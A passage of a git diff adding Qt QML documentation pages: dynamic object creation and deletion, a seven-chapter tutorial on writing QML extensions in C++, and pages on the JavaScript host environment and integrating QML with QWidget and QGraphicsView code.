{declarative/toys/dynamicscene}{Dynamic Scene example} for a demonstration +of the concepts discussed on this page. + + +\section1 Creating Objects Dynamically + +There are two ways to create objects dynamically from JavaScript. You can either call +\l {QML:Qt::createComponent()}{Qt.createComponent()} to dynamically create +a \l Component object, or use \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} +to create an item from a string of QML. +Creating a component is better if you have an existing component defined in a \c .qml +file, and you want to dynamically create instances of that component. Otherwise, +creating an item from a string of QML is useful when the item QML itself is generated +at runtime. + + +\section2 Creating a Component Dynamically + +To dynamically load a component defined in a QML file, call the +\l {QML:Qt::createComponent()}{Qt.createComponent()} function in the +\l {QmlGlobalQtObject}{Qt object}. +This function takes the URL of the QML file as its only argument and creates +a \l Component object from this URL. + +Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of +the component. This function can take one or two arguments: +\list +\li The first is the parent for the new item. Since graphical items will not appear on the scene without a parent, it is + recommended that you set the parent this way. However, if you wish to set the parent later you can safely pass \c null to + this function. +\li The second is optional and is a map of property-value items that define initial any property values for the item. + Property values specified by this argument are applied to the object before its creation is finalized, avoiding + binding errors that may occur if particular properties must be initialized to enable other property bindings. + when certain properties have been bound to before they have been set by the code. Additionally, there are small + performance benefits when compared to defining property values and bindings after the object is created. +\endlist + +Here is an example. First there is \c Sprite.qml, which defines a simple QML component: + +\snippet doc/snippets/qml/Sprite.qml 0 + +Our main application file, \c main.qml, imports a \c componentCreation.js JavaScript file +that will create \c Sprite objects: + +\snippet doc/snippets/qml/createComponent.qml 0 + +Here is \c componentCreation.js. Notice it checks whether the component \l{Component::status}{status} is +\c Component.Ready before calling \l {Component::createObject()}{createObject()} +in case the QML file is loaded over a network and thus is not ready immediately. + +\snippet doc/snippets/qml/componentCreation.js vars +\codeline +\snippet doc/snippets/qml/componentCreation.js func +\snippet doc/snippets/qml/componentCreation.js remote +\snippet doc/snippets/qml/componentCreation.js func-end +\codeline +\snippet doc/snippets/qml/componentCreation.js finishCreation + +If you are certain the QML file to be loaded is a local file, you could omit the \c finishCreation() +function and call \l {Component::createObject()}{createObject()} immediately: + +\snippet doc/snippets/qml/componentCreation.js func +\snippet doc/snippets/qml/componentCreation.js local +\snippet doc/snippets/qml/componentCreation.js func-end + +Notice in both instances, \l {Component::createObject()}{createObject()} is called with +\c appWindow passed as an argument so that the created object will become a child of the +\c appWindow item in \c main.qml. Otherwise, the new item will not appear in the scene. + +When using files with relative paths, the path should +be relative to the file where \l {QML:Qt::createComponent()}{Qt.createComponent()} is executed. + +To connect signals to (or receive signals from) dynamically created objects, +use the signal \c connect() method. See +\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals} +{Connecting Signals to Methods and Signals} for more information. + + +\section2 Creating an Object from a String of QML + +If the QML is not defined until runtime, you can create a QML item from +a string of QML using the \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} function, as in the following example: + +\snippet doc/snippets/qml/createQmlObject.qml 0 + +The first argument is the string of QML to create. Just like in a new file, you will need to +import any types you wish to use. The second argument is the parent item for the new item; +this should be an existing item in the scene. The third argument is the file path to associate +with the new item; this is used for error reporting. + +If the string of QML imports files using relative paths, the path should be relative +to the file in which the parent item (the second argument to the method) is defined. + + +\section1 Maintaining Dynamically Created Objects + +When managing dynamically created items, you must ensure the creation context +outlives the created item. Otherwise, if the creation context is destroyed first, +the bindings in the dynamic item will no longer work. + +The actual creation context depends on how an item is created: + +\list +\li If \l {QML:Qt::createComponent()}{Qt.createComponent()} is used, the creation context + is the QQmlContext in which this method is called +\li If \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} + if called, the creation context is the context of the parent item passed to this method +\li If a \c {Component{}} item is defined and \l {Component::createObject()}{createObject()} + is called on that item, the creation context is the context in which the \c Component is defined +\endlist + +Also, note that while dynamically created objects may be used the same as other objects, they +do not have an id in QML. + + +\section1 Deleting Objects Dynamically + +In many user interfaces, it is sufficient to set an item's opacity to 0 or +to move the item off the screen instead of deleting the item. If you have +lots of dynamically created items, however, you may receive a worthwhile +performance benefit if unused items are deleted. + +Note that you should never manually delete items that were dynamically created +by QML elements (such as \l Loader and \l Repeater). Also, you should avoid deleting +items that you did not dynamically create yourself. + +Items can be deleted using the \c destroy() method. This method has an optional +argument (which defaults to 0) that specifies the approximate delay in milliseconds +before the object is to be destroyed. + +Here is an example. The \c application.qml creates five instances of the \c SelfDestroyingRect.qml +component. Each instance runs a NumberAnimation, and when the animation has finished, calls +\c destroy() on its root item to destroy itself: + +\table +\row +\li \c application.qml +\li \c SelfDestroyingRect.qml + +\row +\li \snippet doc/snippets/qml/dynamicObjects-destroy.qml 0 +\li \snippet doc/snippets/qml/SelfDestroyingRect.qml 0 + +\endtable + +Alternatively, the \c application.qml could have destroyed the created object +by calling \c object.destroy(). + +Note that it is safe to call destroy() on an object within that object. Objects are not destroyed the +instant destroy() is called, but are cleaned up sometime between the end of that script block and the next frame +(unless you specified a non-zero delay). + +Note also that if a \c SelfDestroyingRect instance was created statically like this: + +\qml +Item { + SelfDestroyingRect { + // ... + } +} +\endqml + +This would result in an error, since items can only be dynamically +destroyed if they were dynamically created. + +Objects created with \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} +can similarly be destroyed using \c destroy(): + +\snippet doc/snippets/qml/createQmlObject.qml 0 +\snippet doc/snippets/qml/createQmlObject.qml destroy +*/ diff --git a/src/qml/doc/src/extending-tutorial.qdoc b/src/qml/doc/src/extending-tutorial.qdoc new file mode 100644 index 0000000000..b5958d9d43 --- /dev/null +++ b/src/qml/doc/src/extending-tutorial.qdoc @@ -0,0 +1,498 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-extending-tutorial-index.html tutorial +\title Writing QML Extensions with C++ +\brief tutorial about extending QML with Qt C++ + +The Qt Declarative module provides a set of APIs for extending QML through +C++ extensions. You can write extensions to add your own QML types, extend existing +Qt types, or call C/C++ functions that are not accessible from ordinary QML code. + +This tutorial shows how to write a QML extension using C++ that includes +core QML features, including properties, signals and bindings. It also shows how +extensions can be deployed through plugins. + +You can find the source code for this tutorial in \c Qt's +examples/declarative/tutorials/extending directory. + +Tutorial chapters: + +\list 1 +\li \l{declarative/tutorials/extending/chapter1-basics}{Creating a New Type} +\li \l{declarative/tutorials/extending/chapter2-methods}{Connecting to C++ Methods and Signals} +\li \l{declarative/tutorials/extending/chapter3-bindings}{Property Binding} +\li \l{declarative/tutorials/extending/chapter4-customPropertyTypes}{Using Custom Property Types} +\li \l{declarative/tutorials/extending/chapter5-listproperties}{Using List Property Types} +\li \l{declarative/tutorials/extending/chapter6-plugins}{Writing an Extension Plugin} +\li \l{qml-extending-tutorial7.html}{In Summary} +\endlist + +*/ + +/*! +\title Chapter 1: Creating a New Type + +\example declarative/tutorials/extending/chapter1-basics + +A common task when extending QML is to provide a new QML type that supports some + custom functionality beyond what is provided by the built-in \l {QML Elements}. +For example, this could be done to implement particular data models, or provide +elements with custom painting and drawing capabilities, or access system features +like network programming that are not accessible through built-in QML features. + +In this tutorial, we will show how to use the C++ classes in the Qt Declarative +module to extend QML. The end result will be a simple Pie Chart display implemented by +several custom QML types connected together through QML features like bindings and +signals, and made available to the QML runtime through a plugin. + +To begin with, let's create a new QML type called "PieChart" that has two properties: a name +and a color. We will make it available in a \l {Modules}{module} called "Charts", with +a module version of 1.0. + +We want this \c PieChart type to be usable from QML like this: + +\code + import Charts 1.0 + + PieChart { + width: 100; height: 100 + name: "A simple pie chart" + color: "red" + } +\endcode + +To do this, we need a C++ class that encapsulates this \c PieChart type and its two +properties. Since QML makes extensive use of Qt's \l{Meta-Object System}{meta object system}, +this new class must: + +\list +\li Inherit from QObject +\li Declare its properties using the Q_PROPERTY macro +\endlist + +Here is our \c PieChart class, defined in \c piechart.h: + +\snippet declarative/tutorials/extending/chapter1-basics/piechart.h 0 + +The class inherits from QQuickItem because we want to override +QQuickItem::paint() in order to draw. If the class just represented some +data type and was not an item that actually needed to be displayed, it could simply inherit +from QObject. Or, if we want to extend the functionality of an existing QObject-based +class, it could inherit from that class instead. + +The \c PieChart class defines the two properties, \c name and \c color, with the Q_PROPERTY macro, +and overrides QQuickItem::paint(). The class implementation in \c piechart.cpp +simply sets and returns the \c m_name and \c m_color values as appropriate, and +implements \c paint() to draw a simple pie chart. It also turns off the +QGraphicsItem::ItemHasNoContents flag to enable painting: + +\snippet declarative/tutorials/extending/chapter1-basics/piechart.cpp 0 +\dots 0 +\snippet declarative/tutorials/extending/chapter1-basics/piechart.cpp 1 + +Now that we have defined the \c PieChart type, we will use it from QML. The \c app.qml +file creates a \c PieChart item and display the pie chart's details +using a standard QML \l Text item: + +\snippet declarative/tutorials/extending/chapter1-basics/app.qml 0 + +Notice that although the color is specified as a string in QML, it is automatically +converted to a QColor object for the PieChart \c color property. Automatic conversions are +provided for various other \l {QML Basic Types}{basic types}; for example, a string +like "640x480" can be automatically converted to a QSize value. + +We'll also create a C++ application that uses a QQuickView to run and +display \c app.qml. The application must register the \c PieChart type +using the qmlRegisterType() function, to allow it to be used from QML. If +you don't register the type, \c app.qml won't be able to create a \c PieChart. + +Here is the application \c main.cpp: + +\snippet declarative/tutorials/extending/chapter1-basics/main.cpp 0 + +This call to qmlRegisterType() registers the \c PieChart type as a type called "PieChart", in a module named "Charts", +with a module version of 1.0. + +Lastly, we write a \c .pro project file that includes the files and the \c declarative library: + +\quotefile declarative/tutorials/extending/chapter1-basics/chapter1-basics.pro + +Now we can build and run the application: + +\image extending-tutorial-chapter1.png + +Try it yourself with the code in Qt's \c examples/tutorials/extending/chapter1-basics directory. + +At the moment, the \c app.qml is run from within a C++ application. +This may seem odd if you're used to running QML files with the \l {QML Viewer}. +Later on, we'll show how to create a plugin so that you can run \c app.qml using the +\l {QML Viewer} instead. + +*/ + + +/*! +\title Chapter 2: Connecting to C++ Methods and Signals + +\example declarative/tutorials/extending/chapter2-methods + +Suppose we want \c PieChart to have a "clearChart()" method that erases the +chart and then emits a "chartCleared" signal. Our \c app.qml would be able +to call \c clearChart() and receive \c chartCleared() signals like this: + +\snippet declarative/tutorials/extending/chapter2-methods/app.qml 0 + +\image extending-tutorial-chapter2.png + +To do this, we add a \c clearChart() method and a \c chartCleared() signal +to our C++ class: + +\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 0 +\dots +\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 1 +\dots +\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 2 +\dots +\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 3 + +The use of Q_INVOKABLE makes the \c clearChart() method available to the +Qt Meta-Object system, and in turn, to QML. Note that it could have +been declared as as a Qt slot instead of using Q_INVOKABLE, as +slots are also callable from QML. Both of these approaches are valid. + +The \c clearChart() method simply changes the color to Qt::transparent, +repaints the chart, then emits the \c chartCleared() signal: + +\snippet declarative/tutorials/extending/chapter2-methods/piechart.cpp 0 + +Now when we run the application and click the window, the pie chart +disappears, and the application outputs: + +\code + The chart has been cleared +\endcode + +Try out the example yourself with the updated code in Qt's \c examples/tutorials/extending/chapter2-methods directory. + +*/ + +/*! +\title Chapter 3: Adding Property Bindings + +\example declarative/tutorials/extending/chapter3-bindings + +Property binding is a powerful feature of QML that allows values of different +elements to be synchronized automatically. It uses signals to notify and update +other elements' values when property values are changed. + +Let's enable property bindings for the \c color property. That means +if we have code like this: + +\snippet declarative/tutorials/extending/chapter3-bindings/app.qml 0 + +\image extending-tutorial-chapter3.png + +The "color: chartA.color" statement binds the \c color value of +\c chartB to the \c color of \c chartA. +Whenever \c chartA's \c color value changes, \c chartB's \c color value +updates to the same value. When the window is clicked, the \c onClicked +handler in the MouseArea changes the color of \c chartA, thereby changing +both charts to the color blue. + +It's easy to enable property binding for the \c color property. +We add a \l{Qt's Property System}{NOTIFY} feature to its Q_PROPERTY() declaration to indicate that a "colorChanged" signal +is emitted whenever the value changes. + +\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 0 +\dots +\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 1 +\dots +\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 2 +\dots +\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 3 + +Then, we emit this signal in \c setPieSlice(): + +\snippet declarative/tutorials/extending/chapter3-bindings/piechart.cpp 0 + +It's important for \c setColor() to check that the color value has actually changed +before emitting \c colorChanged(). This ensures the signal is not emitted unnecessarily and +also prevents loops when other elements respond to the value change. + +The use of bindings is essential to QML. You should always add NOTIFY +signals for properties if they are able to be implemented, so that your +properties can be used in bindings. Properties that cannot be bound cannot be +automatically updated and cannot be used as flexibly in QML. Also, since +bindings are invoked so often and relied upon in QML usage, users of your +custom QML types may see unexpected behavior if bindings are not implemented. + +*/ + +/*! +\title Chapter 4: Using Custom Property Types + +\example declarative/tutorials/extending/chapter4-customPropertyTypes + +The \c PieChart type currently has a string-type property and a color-type property. +It could have many other types of properties. For example, it could have an +int-type property to store an identifier for each chart: + +\code + // C++ + class PieChart : public QQuickItem + { + Q_PROPERTY(int chartId READ chartId WRITE setChartId NOTIFY chartIdChanged) + ... + + public: + void setChartId(int chartId); + int chartId() const; + ... + + signals: + void chartIdChanged(); + }; + + // QML + PieChart { + ... + chartId: 100 + } +\endcode + +We can also use various other property types. QML has built-in support for the types +listed in the \l{QML Basic Types} documentation, which includes the following: + +\list +\li bool, unsigned int, int, float, double, qreal +\li QString, QUrl, QColor +\li QDate, QTime, QDateTime +\li QPoint, QPointF, QSize, QSizeF, QRect, QRectF +\li QVariant +\endlist + +If we want to create a property whose type is not supported by QML by default, +we need to register the type with QML. + +For example, let's replace the use of the \c property with a type called +"PieSlice" that has a \c color property. Instead of assigning a color, +we assign an \c PieSlice value which itself contains a \c color: + +\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/app.qml 0 + +Like \c PieChart, this new \c PieSlice type inherits from QQuickItem and declares +its properties with Q_PROPERTY(): + +\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.h 0 + +To use it in \c PieChart, we modify the \c color property declaration +and associated method signatures: + +\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 0 +\dots +\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 1 +\dots +\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 2 +\dots +\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 3 + +There is one thing to be aware of when implementing \c setPieSlice(). The \c PieSlice +is a visual item, so it must be set as a child of the \c PieChart using +QQuickItem::setParentItem() so that the \c PieChart knows to paint this child +item when its contents are drawn: + +\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp 0 + + +Like the \c PieChart type, the \c PieSlice type has to be registered +using qmlRegisterType() to be used from QML. As with \c PieChart, we'll add the +type to the "Charts" module, version 1.0: + +\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 0 +\dots +\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 1 +\dots +\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 2 + +Try it out with the code in Qt's \c examples/tutorials/extending/chapter4-customPropertyTypes directory. + +*/ + + +/*! +\title Chapter 5: Using List Property Types + +\example declarative/tutorials/extending/chapter5-listproperties + +Right now, a \c PieChart can only have one \c PieSlice. Ideally a chart would +have multiple slices, with different colors and sizes. To do this, we could +have a \c slices property that accepts a list of \c PieSlice items: + +\snippet declarative/tutorials/extending/chapter5-listproperties/app.qml 0 + +\image extending-tutorial-chapter5.png + +To do this, we replace the \c pieSlice property in \c PieChart with a \c slices property, +declared as a QQmlListProperty type. The QQmlListProperty class enables the +creation of list properties in QML extensions. We replace the \c pieSlice() +function with a \c slices() function that returns a list of slices, and add +an internal \c append_slice() function (discussed below). We also use a QList to +store the internal list of slices as \c m_slices: + +\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 0 +\dots +\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 1 +\dots +\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 2 + +Although the \c slices property does not have an associated \c WRITE function, +it is still modifiable because of the way QQmlListProperty works. +In the \c PieChart implementation, we implement \c PieChart::slices() to +return a QQmlListProperty value and indicate that the internal +\c PieChart::append_slice() function is to be called whenever a request is made from QML +to add items to the list: + +\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.cpp 0 + +The \c append_slice() function simply sets the parent item as before, +and adds the new item to the \c m_slices list. As you can see, the append function for a +QQmlListProperty is called with two arguments: the list property, and +the item that is to be appended. + +The \c PieSlice class has also been modified to include \c fromAngle and \c angleSpan +properties and to draw the slice according to these values. This is a straightforward +modification if you have read the previous pages in this tutorial, so the code is not shown here. + +The complete code can be seen in the updated \c examples/tutorials/extending/chapter5-listproperties directory. + +*/ + + +/*! +\title Chapter 6: Writing an Extension Plugin + +\example declarative/tutorials/extending/chapter6-plugins + +Currently the \c PieChart and \c PieSlice types are used by \c app.qml, +which is displayed using a QQuickView in a C++ application. An alternative +way to use our QML extension is to create a plugin library to make it available +to the QML engine. This allows \c app.qml to be loaded with the \l {QML Viewer} +(or some other QML \l{Qt Declarative UI Runtime}{runtime} application) instead of writing a \c main.cpp file and +loading our own C++ application. + +To create a plugin library, we need: + +\list +\li A plugin class that registers our QML types +\li A project file that describes the plugin +\li A \l{Writing a qmldir file}{qmldir} file that tells the QML engine to load the plugin +\endlist + +First, we create a plugin class named \c ChartsPlugin. It subclasses QQmlExtensionPlugin +and registers our QML types in the inherited \l{QQmlExtensionPlugin::}{registerTypes()} method. It also calls +Q_EXPORT_PLUGIN2 for Qt's \l{How to Create Qt Plugins}{plugin system}. + +Here is the \c ChartsPlugin definition in \c chartsplugin.h: + +\snippet declarative/tutorials/extending/chapter6-plugins/chartsplugin.h 0 + +And its implementation in \c chartsplugin.cpp: + +\snippet declarative/tutorials/extending/chapter6-plugins/chartsplugin.cpp 0 + +Then, we write a \c .pro project file that defines the project as a plugin library +and specifies with DESTDIR that library files should be built into a "lib" subdirectory: + +\quotefile declarative/tutorials/extending/chapter6-plugins/chapter6-plugins.pro + +Finally, we add a \l{Writing a qmldir file}{qmldir} file that is automatically parsed by the QML engine. +In this file, we specify that a plugin named "chapter6-plugin" (the name +of the example project) can be found in the "lib" subdirectory: + +\quotefile declarative/tutorials/extending/chapter6-plugins/qmldir + +Now we have a plugin, and instead of having a main.cpp and an executable, we can build +the project and then load the QML file in the \l {QML Viewer}: + +\code + qmlviewer app.qml +\endcode + +(On Mac OS X, you can launch the "QMLViewer" application instead.) + +Notice the "import Charts 1.0" statement has disappeared from \c app.qml. This is +because the \c qmldir file is in the same directory as \c app.qml: this is equivalent to +having PieChart.qml and PieSlice.qml files inside the project directory, which could both +be used by \c app.qml without import statements. +*/ + + +/*! +\page qml-extending-tutorial7.html +\title Chapter 7: In Summary + +In this tutorial, we've shown the basic steps for creating a QML extension: + +\list +\li Define new QML types by subclassing QObject and registering them with qmlRegisterType() +\li Add callable methods using Q_INVOKABLE or Qt slots, and connect to Qt signals with an \c onSignal syntax +\li Add property bindings by defining \l{Qt's Property System}{NOTIFY} signals +\li Define custom property types if the built-in types are not sufficient +\li Define list property types using QQmlListProperty +\li Create a plugin library by defining a Qt plugin and writing a \c qmldir file +\endlist + + +The \l{Extending QML with C++} reference documentation shows +other useful features that can be added to QML extensions. For example, we +could use \l{Default Property}{default properties} to allow +slices to be added without using the \c slices property: + +\code + PieChart { + PieSlice { ... } + PieSlice { ... } + PieSlice { ... } + } +\endcode + +Or randomly add and remove slices from time to time using \l{Property Value Sources}{property value sources}: + +\code + PieChart { + PieSliceRandomizer on slices {} + } +\endcode + + +See the \l{Extending QML with C++} reference documentation +for more information. + +*/ + diff --git a/src/qml/doc/src/external-resources.qdoc b/src/qml/doc/src/external-resources.qdoc new file mode 100644 index 0000000000..386992f439 --- /dev/null +++ b/src/qml/doc/src/external-resources.qdoc @@ -0,0 +1,35 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \externalpage http://www.ecma-international.org/publications/standards/Ecma-262.htm + \title ECMA-262 + + \externalpage http://www.w3schools.com/jsref/default.asp + \title W3Schools JavaScript Reference +*/ + diff --git a/src/qml/doc/src/globalobject.qdoc b/src/qml/doc/src/globalobject.qdoc new file mode 100644 index 0000000000..26a974cf2e --- /dev/null +++ b/src/qml/doc/src/globalobject.qdoc @@ -0,0 +1,41 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qml-globalobject.html +\title QML Global Object +\brief the global functions included in the QML engine + +The QML engine provides several global objects. These global objects do not +need to be imported and provide basic functions to QML applications. + +\section1 QML Global Object + +Included in the \c{QtQuick 2.0} module is the \l{QmlGlobalQtObject}{Qt object}. +It contains several helpful functions that are available to elements and +components. + +*/ diff --git a/src/qml/doc/src/hostenvironment.qdoc b/src/qml/doc/src/hostenvironment.qdoc new file mode 100644 index 0000000000..b0d9118944 --- /dev/null +++ b/src/qml/doc/src/hostenvironment.qdoc @@ -0,0 +1,92 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qmlhostenvironment.html +\title QML JavaScript Host Environment + +QML provides a JavaScript host environment tailored to writing QML applications. +This environment is different from the host environment provided by a browser +or a server-side JavaScript environment such as Node.js. For example, QML does +not provide a \c window object or \c{DOM API} as commonly found in a browser environment. + +\section1 Common Base + +Like a browser or server-side JavaScript environment, the QML runtime implements the +\l{ECMA-262}{ECMAScript Language Specification} standard. This provides access to +all of the built-in types and functions defined by the standard, such as Object, Array, and Math. +The QML runtime implements the 5th edition of the standard, which is the same edition commonly +implemented by browsers. + +The standard ECMAScript built-ins are not explicitly documented in the QML documentation. For more +information on their use, please refer to the ECMA-262 5th edition standard or one of the many online +JavaScript reference and tutorial sites, such as the \l{W3Schools JavaScript Reference} (JavaScript Objects +Reference section). Many sites focus on JavaScript in the browser, so in some cases you may need to double +check the specification to determine whether a given function or object is part of standard ECMAScript or +specific to the browser environment. In the case of the W3Schools link above, the \c{JavaScript Objects +Reference} section generally covers the standard, while the \c{Browser Objects Reference} and \c{HTML DOM +Objects Reference} sections are browser specific (and thus not applicable to QML). + +\section1 Host Objects and Functions + +The QML JavaScript host environment implements the following host objects and functions: + +\list +\li The \l{QmlGlobalQtObject}{Qt object}: This object is specific to QML, and provides helper methods + and properties specific to the QML environment. +\li qsTr(), qsTranslate(), qsTrId(), QT_TR_NOOP(), QT_TRANSLATE_NOOP(), and QT_TRID_NOOP() functions: + These functions are specific to QML, and provide \l{Translation}{translation capabilities} to the QML environment. +\li gc() function: This function is specific to QML, and provides a way to manually trigger garbage collection. +\li print() function: This function is specific to QML, and provides a simple way to output information to the console. +\li The \l{Console API}{console object}: This object implements a subset of the \l{http://getfirebug.com/wiki/index.php/Console_API}{FireBug Console API}. +\li \l{XMLHttpRequest}, DOMException: These objects implement a subset of the \l{http://www.w3.org/TR/XMLHttpRequest/}{W3C XMLHttpRequest specification}. +\endlist + +See \l{QML Global Object} for more details on these host objects and functions. + +\section1 Native Object Modification + +QML makes the following modifications to native objects: + +\list +\li An arg() function is added to the String prototype. +\li Locale-aware coversion functions are added to the \l{Date} and \l{Number} prototypes. +\endlist + +\section1 Restrictions + +QML implements the following restrictions for JavaScript code: + +\list +\li JavaScript code cannot modify the global object. +\li Global code is run in a reduced scope. +\li The value of \c this is undefined in QML in the majority of contexts. +\endlist + +See \l {QML JavaScript Restrictions} for more details on these restrictions. + +*/ diff --git a/src/qml/doc/src/integrating.qdoc b/src/qml/doc/src/integrating.qdoc new file mode 100644 index 0000000000..83dcaeae74 --- /dev/null +++ b/src/qml/doc/src/integrating.qdoc @@ -0,0 +1,108 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-integration.html +\ingroup qml-features +\title Integrating QML Code with Existing Qt UI Code +\brief applications with QML and Qt code + +There are a number of ways to integrate QML into QWidget-based UI applications, +depending on the characteristics of your existing UI code. + + +\section1 Integrating with a \l{QWidget}-based UI + +If you have an existing QWidget-based UI, QML widgets can be integrated into +it using QQuickView. QQuickView is a subclass of QWidget so you +can add it to your user interface like any other QWidget. Use +QQuickView::setSource() to load a QML file into the view, then add the +view to your UI: + +\code +QQuickView *qmlView = new QQuickView; +qmlView->setSource(QUrl::fromLocalFile("myqml.qml")); + +QWidget *widget = myExistingWidget(); +QVBoxLayout *layout = new QVBoxLayout(widget); +layout->addWidget(qmlView); +\endcode + +The one drawback to this approach is that QQuickView is slower to initialize +and uses more memory than a QWidget, and creating large numbers of QQuickView +objects may lead to performance degradation. If this is the case, it may be +better to rewrite your widgets in QML, and load the widgets from a main QML widget +instead of using QQuickView. + +Keep in mind that QWidgets were designed for a different type of user interface +than QML, so it is not always a good idea to port a QWidget-based application to +QML. QWidgets are a better choice if your UI is comprised of a small number of +complex and static elements, and QML is a better choice if your UI is comprised of a large number +of simple and dynamic elements. + + +\section1 Integrating with a QGraphicsView-based UI + +\section2 Adding QML widgets to a QGraphicsScene + +If you have an existing UI based on the \l{Graphics View Framework}, +you can integrate QML widgets directly into your QGraphicsScene. Use +QQmlComponent to create a QGraphicsObject from a QML file, and +place the graphics object into your scene using \l{QGraphicsScene::addItem()}, or +reparent it to an item already in the \l{QGraphicsScene}. + +For example: + +\code +QGraphicsScene* scene = myExistingGraphicsScene(); +QQmlEngine *engine = new QQmlEngine; +QQmlComponent component(engine, QUrl::fromLocalFile("myqml.qml")); +QGraphicsObject *object = + qobject_cast<QGraphicsObject *>(component.create()); +scene->addItem(object); +\endcode + +The following QGraphicsView options are recommended for optimal performance +of QML UIs: + +\list +\li QGraphicsView::setOptimizationFlags(QGraphicsView::DontSavePainterState) +\li QGraphicsView::setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate) +\li QGraphicsScene::setItemIndexMethod(QGraphicsScene::NoIndex) +\endlist + +\section2 Loading QGraphicsWidget Objects in QML + +An alternative approach is to expose your existing QGraphicsWidget objects to +QML and construct your scene in QML instead. See the \l {declarative-cppextensions-qgraphicslayouts.html}{graphics layouts example} +which shows how to expose Qt's graphics layout classes to QML in order +to use QGraphicsWidget with classes like QGraphicsLinearLayout and QGraphicsGridLayout. + +To expose your existing QGraphicsWidget classes to QML, use \l {qmlRegisterType()}. +See \l{Extending QML with C++} for further information on how to use C++ types +in QML. +*/ diff --git a/src/qml/doc/src/javascriptblocks.qdoc b/src/qml/doc/src/javascriptblocks.qdoc new file mode 100644 index 0000000000..886289d9b7 --- /dev/null +++ b/src/qml/doc/src/javascriptblocks.qdoc @@ -0,0 +1,562 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! 